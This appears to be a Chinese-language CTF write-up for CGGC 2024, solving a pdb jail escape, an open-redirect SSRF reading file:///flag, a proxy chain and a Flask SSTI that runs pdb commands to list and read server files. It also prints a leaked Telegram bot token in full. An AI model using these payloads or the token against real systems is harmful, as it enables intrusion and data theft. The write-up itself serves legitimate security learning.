---
# System prepended metadata

title: CGGC 2024 Writeup
tags: [CTF, CGGC]

---

# CGGC 2024 Writeup
The CTF challenges writeup for Cyber Guardian Grand Challenge (CGGC) 2024.

![image](https://hackmd.io/_uploads/BkAgxLDWJx.png)


# Misc

## Day31- 水落石出！真相大白的十一月預告信？

### Challenge description

![image](https://hackmd.io/_uploads/ry2CYiV-yl.png)

據可靠消息，怪盜カズマ 將於 11 月 2 日正午現身，意圖偷走我多年守護的大秘寶！ 幸好我早就把偷來的東西都藏到了那裡 ><

備註：請勿惡意破壞比賽環境，違者將取消參賽資格

Author: Kazma

https://ithelp.ithome.com.tw/users/20168875/ironman/7849

### Solution
前往對應網址後會發現是 2024 iThome 鐵人賽介紹 Flipper Zero 的系列文章，一共有 30 篇，上網搜尋後會發現這篇文章也有放在 Kazma 自己的 Blog 上面：
![image](https://hackmd.io/_uploads/ryL50o4b1x.png)

去 Blog 的 Github Repo (https://github.com/kazmatw/kazmatw.github.io) 上面看 blog 的更新內容，發現在 commit Site updated: 2024-10-29 16:57:28 時更改了 Day19 的文章：

![截圖 2024-11-03 下午3.52.23](https://hackmd.io/_uploads/Sy1bhsVZJg.png)
![截圖 2024-11-03 晚上9.16.08](https://hackmd.io/_uploads/ryspveHZ1e.png)


可以看到 telegram bot 的 token 被洩漏出來了，我們可以用這個 token 拿到 bot 跟用戶互動的更新資料：

https://api.telegram.org/bot7580842046:AAEKmOz8n3C265m2_XSv8cGFbBHg7mcnbMM/getUpdates

接著就可以在回傳內容中看到 flag 了。

### Summary
Flag: `CGGC{1_h8t3_y0u_K41d0_K4zm4}`


## Breakjail ⛓️

### Challenge description
Breakpoints are often used in various pyjails. This time, I'm giving one directly to you. Let's get it!

Note: This task only works on Python 3.14.0a1. It may not vulnerable on other versions.

Author: Vincent55

### Solution
首先打開題目提供的 source code 查看內容：

jail.&ZeroWidthSpace;py:

```python
#!/usr/local/bin/python3
print(open(__file__).read())

flag = open('flag').read()
flag = "Got eaten by the cookie monster QQ"

inp = __import__("unicodedata").normalize("NFKC", input(">>> "))

if any([x in "._." for x in inp]) or inp.__len__() > 55:
    print('bad hacker')
else:
    eval(inp, {"__builtins__": {}}, {
         'breakpoint': __import__('GoodPdb').good_breakpoint})

print(flag)
```

可以看到程式會檢查使用者的輸入（不能包含 ._ 並且長度不能大於 55），並且在執行 eval 的時候將內建函式都禁用掉，只剩下一個自訂的 breakpoint（來自 GoodPdb 檔案裡的 good_breakpoint) 可以使用。

GoodPdb.&ZeroWidthSpace;py:
```python
import pdb

# patch from https://github.com/python/cpython/blob/ed24702bd0f9925908ce48584c31dfad732208b2/Lib/cmd.py#L98


class GoodPdb(pdb.Pdb):
    def cmdloop(self, intro=None):
        <SNIP>
            while not stop:
                if self.cmdqueue:
                    line = self.cmdqueue.pop(0)
                else:
                    if self.use_rawinput:
                        try:
                            """
                            no interactive!
                            """
                            # line = input(self.prompt)
                            line = "EOF"
                        except EOFError:
                            line = 'EOF'
                    else:
                        self.stdout.write(self.prompt)
                        self.stdout.flush()
                        line = self.stdin.readline()
                        if not len(line):
                            line = 'EOF'
                        else:
                            line = line.rstrip('\r\n')
        <SNIP>

    def do_interact(self, arg):
        """
        no interactive!
        """
        pass


good_breakpoint = GoodPdb().set_trace
```

GoodPdb 繼承原本的 Pdb class，並且修改了 `cmdloop()` 和 `do_interact()` 這兩個 function。將修改後的函式與原本的進行比較之後會發現 GoodPdb 禁止掉了原本 debug 的互動介面，因此沒辦法用互動的方式來執行 debug command。

題目提示了這題只在 Python 3.14.0a1 起作用，上網搜尋 Python Github Repo 中 pdb 的程式 (https://github.com/python/cpython/blob/main/Lib/pdb.py)，可以看到 `set_trace()` 函式會接收 commands 這個參數：

```python
def set_trace(self, frame=None, *, commands=None):
    Pdb._last_pdb_instance = self
    if frame is None:
        frame = sys._getframe().f_back

    if commands is not None:
        self.rcLines.extend(commands)

    super().set_trace(frame)
```

而 3.14.0a1 以外的版本沒有這個參數：

```python
# 3.11
def set_trace(self, frame=None):
    """Start debugging from frame.

    If frame is not specified, debugging starts from caller's frame.
    """
    if frame is None:
        frame = sys._getframe().f_back
    self.reset()
    while frame:
        frame.f_trace = self.trace_dispatch
        self.botframe = frame
        frame = frame.f_back
    self.set_step()
    sys.settrace(self.trace_dispatch)
```

可以猜測在 Python 3.14 版本中，pdb 支援指令透過參數傳遞來執行。
連上 server 後嘗試執行 help 指令：

```
┌──(parallels㉿kali)-[~/…/misc/Breakjail/shared_breakjail/share]
└─$ nc 10.99.66.8 10001
#!/usr/local/bin/python3
print(open(__file__).read())

flag = open('flag').read()
flag = "Got eaten by the cookie monster QQ"

inp = __import__("unicodedata").normalize("NFKC", input(">>> "))

if any([x in "._." for x in inp]) or inp.__len__() > 55:
    print('bad hacker')
else:
    eval(inp, {"__builtins__": {}}, {
         'breakpoint': __import__('GoodPdb').good_breakpoint})

print(flag)

>>> breakpoint(commands="h")

Documented commands (type help <topic>):
========================================
EOF    cl         disable     ignore    n        return  u          where
a      clear      display     interact  next     retval  unalias  
alias  commands   down        j         p        run     undisplay
args   condition  enable      jump      pp       rv      unt      
b      cont       exceptions  l         q        s       until    
break  continue   exit        list      quit     source  up       
bt     d          h           ll        r        step    w        
c      debug      help        longlist  restart  tbreak  whatis   

Miscellaneous help topics:
==========================
exec  pdb

> <string>(1)<module>()
```

組合 pdb 的指令跳到程式第四行並用 p 印出 flag 變數裡面的值就可以拿到真正的 flag 了：

```
# 先用 n 回到主程式，接著跳到第四行，執行後印出 flag 變數就可以拿到 flag 了
>>> breakpoint(commands=["n;;n;;j 4;;n;;p flag"])
--Return--
> /home/pyjail/jail.py(4)<module>()
-> flag = open('flag').read()
'CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb}\n'
> /home/pyjail/jail.py(5)<module>()
-> flag = "Got eaten by the cookie monster QQ"
```

### Summary
Flag: `CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb}`

### Refence
[Python docs - Pdb](https://docs.python.org/zh-tw/3.14/library/pdb.html#pdbcommand-commands)


# Web

## Preview Site 🔍

### Challenge description
This website allows you to preview this website.

Author: Vincent55

### Solution
查看網站：
![image](https://hackmd.io/_uploads/HJTjg64-Je.png)

可以從網站上看到需要先登入才能使用其他功能，而打開題目給的 source code 查看程式後會發現在程式中有提供一組帳號 (guest:guest)：

app/main.&ZeroWidthSpace;py:

```python
<SNIP>

users = {'guest': 'guest'}

def send_request(url, follow=True):
    try:
        response =  urllib.request.urlopen(url)
    except urllib.error.HTTPError as e:
        response = e
    redirect_url = response.geturl()
    if redirect_url != url and follow:
        return send_request(redirect_url, follow=False)
    return response.read().decode('utf-8')

<SNIP>

@app.route('/logout')
def logout():
    session.pop('username', None)
    next_url = request.args.get('next', url_for('index'))
    return redirect(next_url)

@app.route('/fetch', methods=['GET', 'POST'])
def fetch():
    if 'username' not in session:
        return redirect(url_for('login'))

    if request.method == 'POST':
        url = request.form.get('url')
        if not url:
            flash('Please provide a URL.')
            return render_template('fetch.html')
        try:
            if not url.startswith(os.getenv("DOMAIN", "http://previewsite/")):
                raise ValueError('badhacker')
            resp = send_request(url)
            return render_template('fetch.html', content=resp)
        except Exception as e:
            error = f'error：{e}'
            return render_template('fetch.html', error=error)
    return render_template('fetch.html')

<SNIP>
```

Dockerfile:

```dockerfile
FROM tiangolo/uwsgi-nginx-flask:python3.10

RUN pip install --no-cache-dir requests

ARG FLAG
RUN echo $FLAG > /flag
```

從程式中可以發現，`/fetch` 會接收使用者給的 url，檢查是否以 `http://previewsite` 開頭，如果是的話就透過 `send_request()` 函式執行，並將執行結果顯示到 `fetch.html` 上。

而 `send_request()` 會透過 `urllib.request.urlopen(url)` 向對應的 url 送出 request，並且如果結果為重定向，將會跟隨一次重定向去獲取最終 URL 的內容。

另外，`/logout` 允許設定 next 參數來設定登出後重定向的 url，因此我們可以透過 `/logout` 端點來繞過 `/fetch` 的 url 檢查，在後面添加我們想要重定向的網址讓 `send_request()` 可以訪問任意網址。

```
http://previewsite/logout?next=url
```

而在了解了 `urllib.request.urlopen(url)` 之後會發現，這個函式是可以訪問 file url 的，因此如果我們將前面重定向的 url 換成 file url，程式就會幫我們讀取檔案的內容顯示回網頁上，因此我們最後的 payload 為：

```
http://previewsite/logout?next=file:///flag
```

接著透過網站上的 Send Request 服務（Send Request 後會將 url 送到 `/fetch`）來送入 payload 就可以拿到 flag 了：

![image](https://hackmd.io/_uploads/H1VbIaVZJg.png)

### Summary
Flag: `CGGC{open_redirect_to_your_local_file_2893hrgiubf3wq1}`


## proxy

### Challenge description
Access http://secretweb/flag to get flag.

Author：Chumy

### Solution
打開網站後可以看到 source code：

```php
<?php

function proxy($service) {
    // $service = "switchrange";
    // $service = "previewsite";
    // $service = "越獄";
    $requestUri = $_SERVER['REQUEST_URI'];
    $parsedUrl = parse_url($requestUri);

    $port = 80;
    if (isset($_GET['port'])) {
        $port = (int)$_GET['port'];
    } else if ($_COOKIE["port"]) {
        $port = (int)$_COOKIE['port'];
    }
    setcookie("service", $service);
    setcookie("port", $port);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
    $fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
    $fixeddomain = idn_to_ascii($fixeddomain);
    $fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);
    curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']);
    curl_exec($ch);
    curl_close($ch);
}

if (!isset($_GET['service']) && !isset($_COOKIE["service"])) {
    highlight_file(__FILE__);
} else if (isset($_GET['service'])) {
    proxy($_GET['service']);
} else {
    proxy($_COOKIE["service"]);
}
```

可以看到題目會接收 service/port 跟其他的參數，然後將其重組成一個 url 然後訪問對應的網址，而我們要想辦法讓其訪問 http://secretweb/flag。

了解一下程式後可以知道 url 的重組規則：

```
# port 不設定就會是 80
當前網站: http://10.99.66.6/{path}?service={service}&port={port}&others={others}
新的連結: http://{service}.cggc.chummy.tw:{port}/{path}?others={others}
```

由於程式會強制在 service 後面加上 `.cggc.chummy.tw` domain，並且程式中會將一些符號 filter 掉，因此我們不能直接訪問 secretweb，不過可以利用上一題 Preview Site 🔍 的重定向來幫我們導向 secretweb：

```
# previewsite 在 port 10002 上
https://10.99.66.6/logout?service=previewsite&port=10002&next=http://secretweb/flag
```

訪問網址後就可以透過程式幫我們訪問 secretweb 來拿到 flag 了。

### Summary
Flag: `CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58}`


## Breakjail Online 🛜

### Challenge description
I used a breakpoint in the Flask debug environment, but I think I forgot to remove it!

Note: This task only works on Python 3.14.0a1. It may not vulnerable on other versions.

Author:Vincent55

### Solution
查看題目提供的 source code：

Dockerfile:
```dockerfile
<SNIP>
ARG FLAG
RUN echo $FLAG > /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1`


ENV FLASK_ENV=production


CMD ["gunicorn", "--bind", "0.0.0.0:5000", "app:app"]
```

可以看到 flag 的檔名後面會有一個隨機的後綴。

app/app.&ZeroWidthSpace;py:

```python
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return "Hello, World! <br><a href='/SsTiMe'>SSTI me</a> :/"

@app.route('/SsTiMe', methods=['GET'])
def showip():
    # WOW! There has a SSTI in Flask!!!
    q = request.args.get('q', "'7'*7")

    # prevent smuggling bad payloads!
    request.args={}
    request.headers={}
    request.cookies={}
    request.data ={}
    request.query_string = b"#"+request.query_string

    if any([x in "._.|||" for x in q]) or len(q) > 88:
        return "Too long for me :/ my payload less than 73 chars"

    res = render_template_string(f"{{{{{q}}}}}",
        # TODO: just for debugging, remove this in production
        breakpoint=breakpoint,
        str=str
    )

    # oops, I just type 'res' not res qq
    return 'res=7777777'
```

可以看到這題跟 misc 的 Breakjail ⛓️ 一樣提供了 breakpoint() 函式，並且會阻擋包含 `._|` 符號的 request，而我們可以透過 SSTI 漏洞來執行 breakpoint。

因為無法透過 web 來使用互動模式，因此跟上一題 Breakjail 一樣，要使用 commands 參數來執行 debug command。

嘗試執行 breakpoint：
```
http://10.99.66.7:10003/SsTiMe?q=breakpoint()
```

發現 response 為 500 Internal Server Error，用 docker 將環境架在自己電腦上來測試：

```bash
docker build -t breakjail-online .
docker run -d -p 10003:5000 --name breakjail-online breakjail-online
docker attach breakjail-online
```

查看 docker 上服務的 error 訊息，發現因為執行 breakpoint 後互動模式會打開，程式卡在 Pdb 沒辦法正常退出並回傳 response。因此如果想要得到正常的回覆 (200)，可以透過 command `c(ontinue)` 讓程式繼續執行到 `return 'res=7777777'`，讓 flask 能夠正常回傳 response 以避開 Internal Server Error 的問題。

```
http://10.99.66.7:10003/SsTiMe?q=breakpoint(commands=["c"])
```

![image](https://hackmd.io/_uploads/Hycs_A4byl.png)

接下來透過本地環境測試 payload：

```
u  -> 回到上一個 frame
ll -> 印出程式
p  -> 印出變數
```

```
breakpoint(commands=["u+5;;ll;;c"])            -> 回到主程式
breakpoint(commands=["u+5;;r;;r;;r;;ll;;c"])   -> 指向 return self.finalize_request(rv)
breakpoint(commands=["u+5;;r;;r;;r;;p+rv;;c"]) -> 印出 res=7777777
```

先透過 u 回到主程式，接下來用 r(eturn) 讓程式繼續執行直到當前函數返回，並使用 ll 印出程式碼，會發現 flask 在回傳 response 的時候會經過 `self.finalize_request(rv)` 這個指令。而透過 p 將 rv 的值印出來會發現 rv 的值跟主程式中回傳的值相同，因此我們可以猜測如果更改 rv 值就可以改變 response 中顯示的結果。

```
http://10.99.66.7:10003/SsTiMe?q=breakpoint(commands=["u+5;;r;;r;;r;;rv='123';;c"])
```

![image](https://hackmd.io/_uploads/HJhNpREb1x.png)

可以看到成功操控回傳的內容了，因此接下來可以透過 os 來將 `/` 底下的檔案印出來來找出 flag 檔名：

```
breakpoint(commands=["u+5;;r;;r;;r;;from+os+import+*;;rv=listdir('/');;c"])
```

![image](https://hackmd.io/_uploads/H1jpa0E-Je.png)

檔名中包含 _ 這個符號，而程式中阻擋有這個符號的 request，在嘗試之後發現雖然可以使用 `chr(95)` 來得到 _，但是字串串接的時候會遇到問題：

![image](https://hackmd.io/_uploads/HyvD0CVb1l.png)

![image](https://hackmd.io/_uploads/H1bK0RN-Jx.png)

因此使用 glob module 來透過通配符抓出 flag 檔案：

```
breakpoint(commands=["u+5;;r;;r;;r;;from+glob+import+*;;rv=open(glob('/f*')[0]);;c"])
```

![image](https://hackmd.io/_uploads/HJye1kBW1g.png)

執行之後就可以拿到 flag 了。

### Summary
Flag: `CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2}`

### Refence
[Python docs - Pdb](https://docs.python.org/zh-tw/3.14/library/pdb.html#pdbcommand-commands)